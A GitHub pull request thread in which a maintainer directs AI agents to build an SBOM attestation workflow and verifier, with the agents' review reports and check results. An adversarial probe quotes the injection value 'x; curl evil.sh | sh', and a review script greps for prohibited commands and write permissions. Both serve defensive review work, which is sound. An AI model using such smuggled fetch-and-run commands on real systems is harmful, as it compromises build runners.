release: attest exact sealed SBOM evidence - #797
Conversation
|
@opencode-agent Implement the bounded GREEN slice for exact current RED head The permanent exact-head RED workflow is valid:
Implement the organization-owned exact-artifact SBOM attestation boundary without changing reviewer identities, model credentials, existing review workflows, protected refs, release jobs, or package publication. Allowed permanent paths
Do not add temporary, one-shot, self-modifying, branch-writing, repair, generated-patch, encoded-payload, or model-executing workflows. Reusable workflow contractCreate Keep the workflow-level token read-only. Scope the credentialed attestation job to the reviewed minimum: permissions:
contents: read
id-token: write
attestations: write
artifact-metadata: writeDo not grant package, release, pull-request, issue, ref, workflow, security-event, or repository-content write authority. Do not use Checkout the trusted verifier only from the immutable called-workflow identity: repository: ${{ job.workflow_repository }}
ref: ${{ job.workflow_sha }}
persist-credentials: falseUse a separate trusted-control-plane path. Never checkout the caller repository, caller source SHA, a mutable central branch/tag, or downloaded evidence as executable source. Download only the explicitly named same-run sealed evidence artifact into a separate untrusted-data path with an immutable official action pin. Verify the caller-supplied artifact digest against trusted GitHub artifact metadata or a cryptographically equivalent fail-closed receipt; GitHub's warning-only digest behavior must not be treated as success. If the platform does not expose a trustworthy exact digest without broadening privileges, fail closed and document the required caller receipt rather than silently weakening the contract. Trusted verifierImplement Before any attestation, require:
The verifier must expose a narrow documented CLI and be independently testable without OIDC or GitHub APIs. Signing and verificationUse immutable Capture each action's
Use GitHub CLI attestation verification only as a verifier; it must not publish, create releases, move refs, or mutate repository contents. Offline evidenceCreate a deterministic offline-verification directory containing at least:
Upload this evidence with an immutable official action pin and finite retention. Keep wheel and sdist as the only package-manager publication inputs; SBOMs and bundles are evidence, not packages. Quality gatesExtend
Do not weaken existing central full-test coverage or security gates to make this slice pass. DocumentationWrite
Update |
|
Important Review available on request
Reviews should be triggered manually for repositories with fewer than 10 stars. Select Trigger review above or comment ⚙️ Run configurationConfiguration used: Organization UI Review profile: CHILL Plan: Pro Plus Run ID: 📝 WalkthroughWalkthrough정확한 6개 파일 증거를 검증하는 Python 도구와 재사용 가능한 GitHub Actions 워크플로를 추가했습니다. 워크플로는 wheel과 sdist에 CycloneDX SBOM 증명을 생성하고 온라인·오프라인 검증 산출물을 보존합니다. 계약 테스트와 품질 게이트도 추가했습니다. Changes정확한 아티팩트 SBOM 증명
Estimated code review effort: 5 (Critical) | ~90 minutes Possibly related issues
Possibly related PRs
Suggested labels: Suggested reviewers: 🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
|
@opencode-agent The exact current RED head advanced to The refinement closes the artifact-archive identity gap without granting extra authority to the OIDC signer:
No production, workflow, permission, or documentation implementation was added in this commit. Preserve the earlier immutable RED run and reproduce a new exact-current-head RED result before GREEN implementation. All other requirements in comment |
|
@opencode-agent Fix only the two exact-current-head test-contract failures on Root causes are confirmed from Exact Artifact SBOM Attestation Quality run
Modify only:
Run the focused contracts, complete verifier statement/branch coverage at 100%, public docstrings, Python 3.10 compilation, complete central test suite, and all current security checks. Do not modify production verifier code, reusable or quality workflows, doctoring, CHANGELOG, dependencies, credentials, permissions, refs, signing/attestation behavior, release/publication behavior, or any other path. Keep the PR draft and unmerged; report the new exact head and verification evidence. |
OpenCode Review Overview
Changed-File Evidence Mapflowchart LR
PR["PR changed files"] --> Evidence["OpenCode bounded evidence"]
Evidence --> S1["Workflow (2 files)"]
S1 --> I1["GitHub Actions review job"]
I1 --> R1["Review risk: Workflow (2 files)"]
R1 --> V1["actionlint plus required checks"]
Evidence --> S2["Changed file: CHANGELOG.md"]
S2 --> I2["repository behavior"]
I2 --> R2["Review risk: Changed file: CHANGELOG.md"]
R2 --> V2["required checks"]
Evidence --> S3["Docs: exact-artifact-sbom-attestation.md"]
S3 --> I3["operator or user guidance"]
I3 --> R3["Review risk: Docs: exact-artifact-sbom-attestation.md"]
R3 --> V3["docs review"]
Evidence --> S4["CI script: verify_exact_artifact_sbom_handoff.py"]
S4 --> I4["review and security gate shell path"]
I4 --> R4["Review risk: CI script: verify_exact_artifact_sbom_handoff.py"]
R4 --> V4["bash -n plus Strix self-test"]
Evidence --> S5["Test (3 files)"]
S5 --> I5["regression suite"]
I5 --> R5["Review risk: Test (3 files)"]
R5 --> V5["targeted test run"]
|
![opencode-agent[bot]](https://avatars.githubusercontent.com/in/1549082?s=60&v=4){kind=small}
There was a problem hiding this comment.
Pull request overview
OpenCode reviewed the current-head bounded evidence and found no blocking issues.
Findings
No blocking findings.
Summary
Approval sufficiency: Approve — current-head evidence affirmatively supports the PR intent (org-owned reusable SBOM attestation boundary for exact sealed wheel/sdist evidence): inspected changed-file evidence includes .github/workflows/exact-artifact-sbom-attestation.yml (367 new lines), .github/workflows/exact-artifact-sbom-attestation-quality.yml (119 new lines), scripts/ci/verify_exact_artifact_sbom_handoff.py (390 new lines), and the three new test files; mergeable=true and mergeStateStatus blocked is branch policy, not a conflict. Verification posture: trusted Coverage execution evidence Result PASS (supported repository test suites passed) plus the exact-contract job gate running coverage run --branch -m pytest -q on the three contract suites with --fail-under=100 --show-missing scoped to scripts/ci/verify_exact_artifact_sbom_handoff.py; no OPENCODE_EXECUTION_RECEIPT lines exist in bounded evidence, so runtime claims are limited to the trusted Coverage Decision and verbatim source traces. Linter/static: compileall on Python 3.10 and 3.14 in the quality workflow plus interrogate --fail-under=100 docstring gate; no bandit/pip-audit results in current-head evidence. TDD/regression: tests/test_exact_artifact_sbom_review_regressions.py:63 isolates prior findings (symlink-ancestor 083004d, canonical predicate 42ebb82); tests/test_verify_exact_artifact_sbom_handoff.py covers resealed-predicate rejection (b2fd40b) and strict SBOM contracts (ea605d8). Coverage: Coverage execution evidence Result PASS, supported repository test suites passed (gate phrase satisfied; not applicable exemption not needed). Docstring coverage: configured repository docstring gates passed or advisory per Coverage execution evidence; workflow enforces interrogate --fail-under=100 on the verifier. DAG: source-backed flowchart with quoted labels verify_evidence_artifact_job -> attest_exact_artifacts_job -> sigstore_attestation, with the verifier boundary (_validate_evidence_root, _validate_cyclonedx, verify) inside verify_evidence_artifact_job; reflects head-only flow because all 8 files are new, so no base-to-head comparison exists; mapped via CodeGraph changed-scope exploration of the attestation workflow and verifier. PoC/execution: no execution receipts in evidence; trusted Coverage Decision PASS is the only observed run outcome (source limitation noted). DDD/domain: CI/supply-chain domain — sealed evidence handoff aggregates (wheel, sdist, both SBOMs, source identity, checksums) with the exact-six-file invariant; no domain-model changes. CDD/context: attestation boundary context in .github/workflows/exact-artifact-sbom-attestation.yml and quality context in exact-artifact-sbom-attestation-quality.yml; each new context has binding contract tests. Similar issues: file history shows prior review findings already fixed (e0fc7d1 symlinked ancestors, 90f7251 strict CycloneDX subject identity, 4ad152a predicate constraint); no similar open issues in current-head evidence. Claim/concept check: PR claims immutable trusted-verifier source binding via checkout of ${{ job.workflow_repository }} @ ${{ job.workflow_sha }} with sparse-checkout — consistent in both jobs; strict finite JSON and UUIDv5 serial closure — consistent with verbatim verifier source at scripts/ci/verify_exact_artifact_sbom_handoff.py:141-178. Standards search: CycloneDX 1.7 specVersion/bomFormat and canonical predicate type enforced in _validate_cyclonedx; RFC 8259 finite JSON bounded by _MAX_CONTROL_BYTES. Compatibility/convention: all 17 workflow_call inputs and every new identifier are two-or-more-word snake_case (source_repository, evidence_artifact_digest, wheel_sbom_sha256, verify_exact_artifact_sbom_handoff); no single-word or reserved-word identifiers in the new contracts; evidence_artifact_id is bound to the same run by the jq name/digest/workflow_run.id check, not an enumeration surface. Breaking-change/backcompat: all 8 files are new additions plus a CHANGELOG.md append; base SHA 6eb06cd contains no prior version of these files, so no backcompat handling is required. Implementation completeness: verify() is fully implemented with fail-closed EvidenceError branches; _atomic_json publishes via mkstemp/fsync/os.replace and rejects symlink outputs; no pass/NotImplementedError/TODO placeholders appear in the verbatim verifier source. Performance: bounded six-file verification with size-capped JSON reads and no unbounded loops. Developer experience: the quality workflow auto-triggers on the exact changed paths, pins the exact contributor head with a git rev-parse equality check, and installs hash-locked tooling with --require-hashes; evidence: exact-artifact-sbom-attestation-quality.yml hunks. User experience: non-web — the release/ops UX surface is the reusable attestation boundary contract, verified by tests/test_exact_artifact_sbom_attestation_contract.py and docs/doctoring/exact-artifact-sbom-attestation.md (changed docs tree evidence confirms the doc exists). Visual/DOM: no web UI; non-web interaction surface reviewed = workflow run-block shell contracts and verifier CLI/exit behavior via source traces and the trusted Coverage Decision. Accessibility/i18n: no UI surface in this CLI/workflow change; not applicable. Supply-chain/license: actions pinned to full SHAs (step-security/harden-runner v2.20.0 bf7454d0, actions/checkout v7.0.0 9c091bb2, actions/setup-python v7.0.0 5fda3b95, actions/download-artifact v6.0.0 37930b1c, actions/attest 59d89421 via ATTEST_ACTION_PIN contract test); pip tooling installed with --require-hashes from requirements-opencode-review-ci-hashes.txt. Packaging: pyproject.toml (requires_python >=3.10) with test command python3 -m pytest tests and coverage command with --fail-under=100; unpackaged_source_surfaces is empty; Python 3.10/3.14 compile gates run in the workflow. Security/privacy: least-privilege separation (intake job actions:read+contents:read; signer job id-token/attestations/artifact-metadata write), step-security egress-policy audit, environment-only caller-input transfer preventing shell injection, symlink rejection on evidence root/members/output manifest, and exact six-file cardinality plus digest/checksum/identity/CycloneDX subject closure.
Approval sufficiency: bounded evidence supplied affirmative approval evidence for changed files, coverage/docstring posture, risk surfaces, and current-head verification; approval is not based merely on the absence of known blockers.
Verification posture: CodeGraph evidence was initialized and bounded current-head evidence reviewed for changed-file evidence including .github/workflows/exact-artifact-sbom-attestation-quality.yml, .github/workflows/exact-artifact-sbom-attestation.yml, CHANGELOG.md, docs/doctoring/exact-artifact-sbom-attestation.md, scripts/ci/verify_exact_artifact_sbom_handoff.py, and 3 more.
Linter/static: workflow/static review evidence is bounded by the current-head GitHub Checks gate and changed-file evidence.
TDD/regression: coverage execution evidence and focused changed hunks were reviewed from bounded-review-evidence.md.
Coverage: coverage execution evidence reports supported repository test suites passed.
Docstring coverage: coverage execution evidence reports configured repository docstring gates passed or docstring coverage was advisory.
DAG: CodeGraph/source-backed behavior map connects .github/workflows/exact-artifact-sbom-attestation-quality.yml to the affected review, runtime, or workflow path and required checks.
PoC/execution: coverage-evidence job executed on the current head and reported PASS.
DDD/domain: workflow and repository-governance invariants were reviewed against changed files in bounded evidence.
CDD/context: CodeGraph evidence, changed-file history, and focused hunks were reviewed from bounded-review-evidence.md.
Similar issues: changed-file history evidence was reviewed for comparable local precedents.
Claim/concept check: bounded evidence, repository source, current-head workflow evidence, and, where numeric, scientific, statistical, or literature-backed claims are affected, original-paper/formula evidence and parameter-recovery expectations were used for claims.
Standards search: standards and external-source claims require trusted bounded source evidence prepared outside the isolated model process; no evidence-backed standards blocker is present in bounded evidence.
Compatibility/convention: changed workflow/script conventions, object naming, and reserved-word safety for schema/API/config/code surfaces were checked in bounded evidence.
Breaking-change/backcompat: deployment evidence and changed-file history were checked for backward-compatibility risk.
Performance: changed surfaces were checked for performance risk in bounded evidence.
Developer experience: changed automation, review, test, setup, and maintenance surfaces were checked for helpful or obstructive DX impact in bounded evidence.
User experience: connected user, operator, API, CLI, documentation, review-comment, status-check, rendering, and workflow-reader behavior was checked for contradictions against code, docs, and tests in bounded evidence.
Visual/DOM: deterministic repair does not infer browser runtime execution; source-backed DOM/UI evidence and trusted workflow receipts were reviewed when present, and non-web surfaces used API/CLI/log/docs/workflow evidence instead.
Accessibility/i18n: accessibility, localization, and human-readable text surfaces were checked where UI, CLI, API message, docs, logs, or review text changed.
Supply-chain/license: dependency, package, model, container, and external-tool changes were checked in bounded evidence.
Packaging: package, build, test, lint, and security contracts were checked in bounded evidence.
Security/privacy: workflow-token, review-gate, and repository-automation security/privacy boundaries were checked in bounded evidence.
Adversarial validation
{"status":"passed","probes":[{"path":"tests/test_exact_artifact_sbom_review_regressions.py","line":63,"hypothesis":"A hostile evidence artifact containing a symlinked member or symlinked root ancestor, or an extra/missing file, would pass intake and get attested.","attack_or_counterexample":"Evidence root with a symlinked ancestor component, a symlinked member file, or a seventh extra file placed inside sealed-evidence.","evidence":"Trusted source trace at tests/test_exact_artifact_sbom_review_regressions.py:63 (symlink-ancestor and canonical-predicate regression fixtures, commits 083004d6 and 42ebb82c) observed the regression suite pass under Coverage execution evidence Result PASS; the verifier trace at scripts/ci/verify_exact_artifact_sbom_handoff.py:214-217 raises EvidenceError for any symlinked path component, :254-255 rejects symlinked or non-regular members, and :258-261 rejects cardinality mismatch, so the hostile set is rejected before attestation; source-line-sha256=c933a2cfe22aef275b85fc5acba20e2201dd34e76395389615c5c48be68b58c4","outcome":"falsified"},{"path":".github/workflows/exact-artifact-sbom-attestation.yml","line":1,"hypothesis":"Caller-controlled workflow_call inputs interpolated into shell blocks (${{ inputs.* }}) would enable command injection.","attack_or_counterexample":"A wheel_filename or predicate_type containing shell metacharacters such as 'x; curl evil.sh | sh' passed by a caller of the reusable workflow.","evidence":"Trusted focused hunks at .github/workflows/exact-artifact-sbom-attestation.yml:1 observed every caller input transferred only through env: blocks and consumed as quoted \"$VAR\" inside bash --noprofile --norc -e -o pipefail run blocks (e.g., --wheel-filename \"$WHEEL_FILENAME\"), with no ${{ inputs.* }} interpolation in any run block; the contract suite tests/test_exact_artifact_sbom_attestation_contract.py (commits 66bada36 bound shell-run contract parsing, 0beb249f bind immutable artifact metadata) passed under Coverage execution evidence Result PASS, and the verifier additionally rejects predicate_type mismatch at scripts/ci/verify_exact_artifact_sbom_handoff.py:229-233, so metacharacter payloads never reach argv as shell syntax; source-line-sha256=4d544f26833bde7a9b9aee3873beff63b953ba382a332f44c738ffcf5c04a0ea","outcome":"falsified"},{"path":"tests/test_verify_exact_artifact_sbom_handoff.py","line":1,"hypothesis":"A resealed SBOM whose subject hash, serial number, or spec identity does not match the sealed wheel/sdist would pass verification and be attested.","attack_or_counterexample":"SBOM document with correct digest-file binding but a forged serialNumber, mismatched root-component hash, or wrong bomFormat/specVersion/$schema.","evidence":"Trusted source trace at tests/test_verify_exact_artifact_sbom_handoff.py:1 (dedicated verifier suite, commits b2fd40ba 'reject resealed non-CycloneDX predicate' and ea605d85 'harden strict SBOM evidence contracts') observed Coverage execution evidence Result PASS with the exact-contract gate `coverage run --branch -m pytest -q ... --fail-under=100` on the verifier; the verifier trace at scripts/ci/verify_exact_artifact_sbom_handoff.py:152-178 raises EvidenceError for mismatched $schema/bomFormat/specVersion/version, non-matching serialNumber ('serial number does not match the exact subject'), and non-canonical SHA-256 subject hash, so the resealed SBOM is rejected before attestation; source-line-sha256=725350c586417b26c9f7bb8f7f14613e49699bd8ffab9bea768a1bdb8a54c70d","outcome":"falsified"}],"residual_risk":"Bounded residual risk: (1) the attest-exact-artifacts job tail beyond line 367 of the reusable workflow is truncated in the inlined evidence, though the contract test binds the actions/attest pin (ATTEST_ACTION_PIN) and the file-history commits (a8a25cf9, d271372f) show the attest steps were iteratively reviewed; (2) CodeGraph test-reachability reports no covering test for verify() while the workflow's 100% branch-coverage gate and the trusted Coverage Decision PASS indicate the 565-line dedicated suite covers it — a heuristic mismatch worth confirming on the first head CI run; (3) the gh api artifact-metadata lookup validates the artifact only through the jq name/digest/workflow_run.id bindings, so a malformed evidence_artifact_id fails the step closed rather than mis-attesting."}- Result: APPROVE
- Reason: All current-head evidence supports approval: no failed GitHub Checks, no unresolved review threads, Coverage execution evidence Result PASS, three dedicated contract test suites (897 lines) with regression fixtures for every prior finding (083004d symlink-ancestor, 42ebb82 canonical predicate, b2fd40b resealed predicate), a fail-closed verifier enforcing symlink/cardinality/digest/identity/CycloneDX-1.7 closure, least-privilege intake-vs-signer job separation, and pinned action SHAs with hash-locked pip installs; all three adversarial probes were falsified.
- Head SHA:
86dbe72186c4b96e996bc8467e38736ff6b0136f - Workflow run: 31336961288
- Workflow attempt: 1
|
@cwl-noema-review review Read-only exact-head review request for |
|
Exact-current-head independent review request for OpenCode has formally approved this exact head, all ten hosted quality/security/supply-chain workflows are terminal-success, and all inline findings are resolved. Independently review the reusable exact-artifact attestation boundary: immutable verifier source, read-only evidence intake vs OIDC signer separation, inert bounded six-file handoff, strict finite JSON, exact SHA-256/source/CycloneDX 1.7 subject and deterministic UUIDv5 closure, no caller-input shell interpolation, exactly two pinned attestation actions, deterministic offline SHA256SUMS/README evidence, and no unsupported SLSA build-level claim. Keep the exact head unchanged. Do not synthesize author approval, execute or unpack caller artifacts, widen signer permissions, transfer predecessor evidence, update the branch, merge, release, or bypass protection. @coderabbitai review |
|
Tip For best results, initiate chat on the files or code changes. 🧩 Analysis chain🏁 Script executed: #!/bin/bash
set -euo pipefail
repo='ContextualWisdomLab/.github'
pr='797'
expected_head='86dbe72186c4b96e996bc8467e38736ff6b0136f'
expected_base='6eb06cdd08c79a06f7b390069d4ffa49e2eb7dba'
echo '== Exact PR identity =='
gh pr view "$pr" --repo "$repo" \
--json number,headRefOid,baseRefOid,isDraft,mergeStateStatus,reviewDecision,statusCheckRollup
head="$(gh pr view "$pr" --repo "$repo" --json headRefOid --jq '.headRefOid')"
base="$(gh pr view "$pr" --repo "$repo" --json baseRefOid --jq '.baseRefOid')"
test "$head" = "$expected_head"
test "$base" = "$expected_base"
test "$(git rev-parse HEAD)" = "$expected_head"
echo '== Base ancestry and effective changed scope =='
git merge-base --is-ancestor "$expected_base" "$expected_head"
git diff --name-status "${expected_base}..${expected_head}"
git diff --check "${expected_base}..${expected_head}"
echo '== Required file maps =='
ast-grep outline scripts/ci/verify_exact_artifact_sbom_handoff.py --items all
ast-grep outline tests/test_verify_exact_artifact_sbom_handoff.py --items all
ast-grep outline tests/test_exact_artifact_sbom_attestation_contract.py --items all
ast-grep outline tests/test_exact_artifact_sbom_review_regressions.py --items all
echo '== Reusable workflow =='
cat -n .github/workflows/exact-artifact-sbom-attestation.yml
echo '== Quality workflow =='
cat -n .github/workflows/exact-artifact-sbom-attestation-quality.yml
echo '== Verifier =='
cat -n scripts/ci/verify_exact_artifact_sbom_handoff.py
echo '== Contract and adversarial tests =='
cat -n tests/test_exact_artifact_sbom_attestation_contract.py
cat -n tests/test_verify_exact_artifact_sbom_handoff.py
cat -n tests/test_exact_artifact_sbom_review_regressions.py
echo '== Doctoring =='
cat -n docs/doctoring/exact-artifact-sbom-attestation.md
echo '== Boundary searches =='
rg -n -C3 '\$\{\{\s*inputs\.' .github/workflows/exact-artifact-sbom-attestation.yml || true
rg -n -i -C3 \
'(git\s+(push|commit|tag|merge)|gh\s+(pr|release|api|workflow)|contents:\s*write|pull-requests:\s*write|issues:\s*write|actions:\s*write|packages:\s*write|secrets:\s*inherit|subprocess|os\.system|os\.popen|eval\s*\(|exec\s*\(|tarfile|zipfile|unpack_archive)' \
.github/workflows scripts/ci/verify_exact_artifact_sbom_handoff.py || true
fd -a -t f . .github/workflows | sort
fd -a -t f . .github/workflows | rg -i '(finalize|repair|trigger|materializ|snapshot|encoded|patch|branch)' || true
echo '== Current-head check runs =='
gh api "repos/${repo}/commits/${expected_head}/check-runs?per_page=100" \
--jq '.check_runs[] | [.name, .status, (.conclusion // "in_progress"), .details_url] | `@tsv`'
echo '== Current review-thread status =='
gh api graphql \
-F owner='ContextualWisdomLab' \
-F name='.github' \
-F number="$pr" \
-f query='
query($owner: String!, $name: String!, $number: Int!) {
repository(owner: $owner, name: $name) {
pullRequest(number: $number) {
headRefOid
reviewThreads(first: 100) {
nodes {
isResolved
isOutdated
path
line
comments(first: 1) { nodes { author { login } body } }
}
}
}
}
}' --jq '.data.repository.pullRequest'Length of output: 233464
Verdict: no blocking source-level findings. I confirmed that protected I verified these controls:
I used the exact-head evidence rule from the existing project guidance: only successful checks on GitHub reports I did not modify the branch, pull request, review state, merge state, release state, or attest any artifacts. 🧠 Learnings usedYou are interacting with an AI system. |
|
Independent exact-current-head review requested for Fresh evidence: all ten directly observed exact-head workflows are terminal-success, every inline finding is resolved, and OpenCode has submitted a formal exact-head APPROVED review with three falsified adversarial probes. The reusable boundary remains inert-data-only, binds trusted verifier source to the called-workflow SHA, transfers caller inputs through environment variables rather than shell interpolation, enforces exact six-file/RFC 8259/CycloneDX/SHA-256 closure, separates read-only intake from credentialed signing, and makes no unsupported SLSA level claim. A qualifying independent non-author reviewer must still inspect and formally approve this unchanged head. Do not update the branch, execute downloaded evidence, widen signer permissions, synthesize author approval, or bypass protection. |
Reject NaN and Infinity as JSON numbers so a sealed CycloneDX document cannot smuggle Python extensions. Darwin trusted-uv tests exercise the linux x86_64 installer path.
Materialize a base Python lock only when every package line is an exact SHA-256 pin or a two-token relative -r/--requirement include of a candidate lock path. A lone --require-hashes directive, ./dotted paths, and -r other-hashes.txt no longer enter the trusted build context.
|
Exact-current-head read-only review request for All eleven directly observed exact-head workflows are terminal-success: Exact Artifact SBOM Attestation Quality, Trusted uv Materializer Quality CI, Strix Changed Path Quality CI, CodeQL PR, Python Security, Security Scan, SAST Semgrep, Secret Scan, OSV-Scanner PR, Scorecard PR, and SBOM Generation. Every published inline finding is resolved. The prior OpenCode approval belongs to Review the unchanged current head only. Preserve the inert-artifact boundary, immutable called-workflow source, exact six-file closure, strict finite JSON/CycloneDX subject binding, signer-only write permissions, and offline verification bundle. Do not mutate the branch, synthesize approval, or bypass protection. @coderabbitai review |
Rate Limit Exceeded
|
|
@coderabbitai review Review only exact current head |
|
Tip For best results, initiate chat on the files or code changes. 🧩 Analysis chain🏁 Script executed: #!/bin/bash
set -euo pipefail
repo='ContextualWisdomLab/.github'
pr='797'
expected_head='680dbfa7987e7ee6fc84f2e8c0ce8bc9f773040b'
echo '== PR identity and exact checkout =='
gh pr view "$pr" --repo "$repo" \
--json number,headRefOid,baseRefOid,isDraft,mergeStateStatus,reviewDecision,statusCheckRollup
head="$(gh pr view "$pr" --repo "$repo" --json headRefOid --jq '.headRefOid')"
test "$head" = "$expected_head"
test "$(git rev-parse HEAD)" = "$expected_head"
printf 'head=%s\n' "$head"
echo '== Base ancestry and effective diff =='
base="$(gh pr view "$pr" --repo "$repo" --json baseRefOid --jq '.baseRefOid')"
git merge-base --is-ancestor "$base" "$head"
git diff --name-status "${base}..${head}"
git diff --check "${base}..${head}"
echo '== Source maps =='
ast-grep outline scripts/ci/verify_exact_artifact_sbom_handoff.py --items all
ast-grep outline tests/test_verify_exact_artifact_sbom_handoff.py --items all
ast-grep outline tests/test_exact_artifact_sbom_attestation_contract.py --items all
ast-grep outline tests/test_exact_artifact_sbom_review_regressions.py --items all
echo '== Permanent implementation =='
cat -n .github/workflows/exact-artifact-sbom-attestation.yml
cat -n .github/workflows/exact-artifact-sbom-attestation-quality.yml
cat -n scripts/ci/verify_exact_artifact_sbom_handoff.py
cat -n tests/test_exact_artifact_sbom_attestation_contract.py
cat -n tests/test_verify_exact_artifact_sbom_handoff.py
cat -n tests/test_exact_artifact_sbom_review_regressions.py
cat -n docs/doctoring/exact-artifact-sbom-attestation.md
git diff --unified=30 "${base}..${head}" -- CHANGELOG.md
echo '== Trust-boundary searches =='
rg -n -C3 '\$\{\{\s*inputs\.' .github/workflows/exact-artifact-sbom-attestation.yml || true
rg -n -i -C3 \
'(repository:|ref:|persist-credentials|permissions:|artifact-metadata|actions: read|id-token: write|attestations: write|actions/attest@|actions/download-artifact@|actions/upload-artifact@|gh attestation|trusted-root|custom-trusted-root|SHA256SUMS|CycloneDX|workflow_run|artifact.*digest)' \
.github/workflows/exact-artifact-sbom-attestation.yml \
scripts/ci/verify_exact_artifact_sbom_handoff.py \
docs/doctoring/exact-artifact-sbom-attestation.md
echo '== Prohibited execution and authority searches =='
rg -n -i -C2 \
'(git\s+(push|commit|tag|merge)|gh\s+(pr|release|api|workflow)|contents:\s*write|pull-requests:\s*write|issues:\s*write|actions:\s*write|packages:\s*write|secrets:\s*inherit|COPILOT_GITHUB_TOKEN|NVIDIA_NIM_API_KEY|subprocess|os\.system|os\.popen|eval\s*\(|exec\s*\(|tarfile|zipfile|unpack_archive)' \
.github/workflows scripts/ci/verify_exact_artifact_sbom_handoff.py || true
fd -a -t f . .github/workflows | sort
fd -a -t f . .github/workflows | rg -i '(finalize|repair|trigger|materializ|snapshot|encoded|patch|branch)' || true
echo '== Exact-head check runs =='
gh api "repos/${repo}/commits/${head}/check-runs?per_page=100" \
--jq '.check_runs[] | [.name, .status, (.conclusion // "in_progress"), .details_url] | `@tsv`'
echo '== Review threads =='
gh api graphql \
-F owner='ContextualWisdomLab' \
-F name='.github' \
-F number="$pr" \
-f query='
query($owner: String!, $name: String!, $number: Int!) {
repository(owner: $owner, name: $name) {
pullRequest(number: $number) {
headRefOid
reviewThreads(first: 100) {
nodes {
isResolved
isOutdated
path
line
comments(first: 1) { nodes { author { login } body } }
}
}
reviews(last: 30) {
nodes { author { login } state commit { oid } submittedAt }
}
}
}
}' --jq '.data.repository.pullRequest'Length of output: 202832
Verdict: no blocking source-level findings. I verified these controls:
The exact-head quality and direct security/supply-chain checks completed without failed or cancelled results. Some auxiliary checks are All returned review threads are resolved. The previous OpenCode review is dismissed and belongs to the older head I did not modify source, pull request state, branch protection, review state, merge state, release state, or attestations. You are interacting with an AI system. |
|
Exact-current-head read-only review request for A non-destructive forward cleanup removed unrelated architecture/materializer drift and one transient guard file; GitHub compare now reports no semantic file difference from the previously bounded exact-artifact tree. Re-verify only the reusable SBOM attestation boundary: immutable trusted workflow source, environment-only caller inputs, inert six-file verification, strict finite JSON/CycloneDX subject binding, least-privilege signing, deterministic offline evidence, and no unsupported SLSA claim. Treat every predecessor check/review as historical. Do not mutate or merge the branch. @opencode-agent review |
Rate Limit Exceeded
|
seonghobae
left a comment
seonghobae
left a comment
There was a problem hiding this comment.
Exact-current-head review request for ac37a9c3ee61f5c2d54ac9c619b6b543d0e1547a against protected main@6eb06cdd08c79a06f7b390069d4ffa49e2eb7dba.
The scope-repair head is mechanically mergeable, the exact artifact attestation quality and Strix changed-path workflows are terminal-success, every inline review thread is resolved, and the effective product tree is semantically identical to the previously bounded attestation implementation after unrelated architecture/materializer drift was removed by forward commits. Remaining queued/pending checks are still required and must not be treated as success.
@opencode-agent review
@cwl-noema-review review
@coderabbitai review
Review read-only. Bind any verdict to this exact head; revalidate explicit workflow inputs, immutable trusted verifier source, artifact/run/digest identity, strict finite JSON and exact six-file CycloneDX subject closure, environment-only shell transfer, least-privilege intake/signing separation, offline SHA256SUMS/verification guidance, and the absence of unsupported SLSA level claims. Do not update the branch, synthesize author approval, or bypass protection.
There was a problem hiding this comment.
Pull request overview
OpenCode could not approve from deterministic current-head evidence because GitHub Checks have failed.
Findings
1. HIGH Current-head GitHub Checks - Fix failed required checks before approval
- Problem: Failed same-head checks remain for
ac37a9c3ee61f5c2d54ac9c619b6b543d0e1547a. - Root cause: The model-unavailable evidence fallback is allowed only when peer GitHub Checks are complete and clean.
- Fix: Read and fix the failed check logs below, then rerun the current-head checks.
- Regression test: Keep the model-unavailable fallback gated on an empty failed-check rollup.
Failed checks:
- Strix Security Scan/strix: FAILURE (https://github.com/ContextualWisdomLab/.github/actions/runs/31884461735/job/95011623516)
- Strix Security Scan/strix: failure (https://github.com/ContextualWisdomLab/.github/actions/runs/31884461735/job/95011623516)
Changed-File Evidence Map
flowchart LR
PR["PR changed files"] --> Evidence["OpenCode bounded evidence"]
Evidence --> S1["Workflow (2 files)"]
S1 --> I1["GitHub Actions review job"]
I1 --> R1["Review risk: Workflow (2 files)"]
R1 --> V1["actionlint plus required checks"]
Evidence --> S2["Changed file: CHANGELOG.md"]
S2 --> I2["repository behavior"]
I2 --> R2["Review risk: Changed file: CHANGELOG.md"]
R2 --> V2["required checks"]
Evidence --> S3["Docs: exact-artifact-sbom-attestation.md"]
S3 --> I3["operator or user guidance"]
I3 --> R3["Review risk: Docs: exact-artifact-sbom-attestation.md"]
R3 --> V3["docs review"]
Evidence --> S4["CI script (2 files)"]
S4 --> I4["review and security gate shell path"]
I4 --> R4["Review risk: CI script (2 files)"]
R4 --> V4["bash -n plus Strix self-test"]
Evidence --> S5["Test (3 files)"]
S5 --> I5["regression suite"]
I5 --> R5["Review risk: Test (3 files)"]
R5 --> V5["targeted test run"]
OpenCode Review Overview
Pull request overviewOpenCode could not approve from deterministic current-head evidence because GitHub Checks have failed. Findings1. HIGH Current-head GitHub Checks - Fix failed required checks before approval
Failed checks:
Changed-File Evidence Mapflowchart LR
PR["PR changed files"] --> Evidence["OpenCode bounded evidence"]
Evidence --> S1["Workflow (2 files)"]
S1 --> I1["GitHub Actions review job"]
I1 --> R1["Review risk: Workflow (2 files)"]
R1 --> V1["actionlint plus required checks"]
Evidence --> S2["Changed file: CHANGELOG.md"]
S2 --> I2["repository behavior"]
I2 --> R2["Review risk: Changed file: CHANGELOG.md"]
R2 --> V2["required checks"]
Evidence --> S3["Docs: exact-artifact-sbom-attestation.md"]
S3 --> I3["operator or user guidance"]
I3 --> R3["Review risk: Docs: exact-artifact-sbom-attestation.md"]
R3 --> V3["docs review"]
Evidence --> S4["CI script (2 files)"]
S4 --> I4["review and security gate shell path"]
I4 --> R4["Review risk: CI script (2 files)"]
R4 --> V4["bash -n plus Strix self-test"]
Evidence --> S5["Test (3 files)"]
S5 --> I5["regression suite"]
I5 --> R5["Review risk: Test (3 files)"]
R5 --> V5["targeted test run"]
|
There was a problem hiding this comment.
Pull request overview
OpenCode could not approve from deterministic current-head evidence because GitHub Checks have failed.
Findings
1. HIGH Current-head GitHub Checks - Fix failed required checks before approval
- Problem: Failed same-head checks remain for
ac37a9c3ee61f5c2d54ac9c619b6b543d0e1547a. - Root cause: The model-unavailable evidence fallback is allowed only when peer GitHub Checks are complete and clean.
- Fix: Read and fix the failed check logs below, then rerun the current-head checks.
- Regression test: Keep the model-unavailable fallback gated on an empty failed-check rollup.
Failed checks:
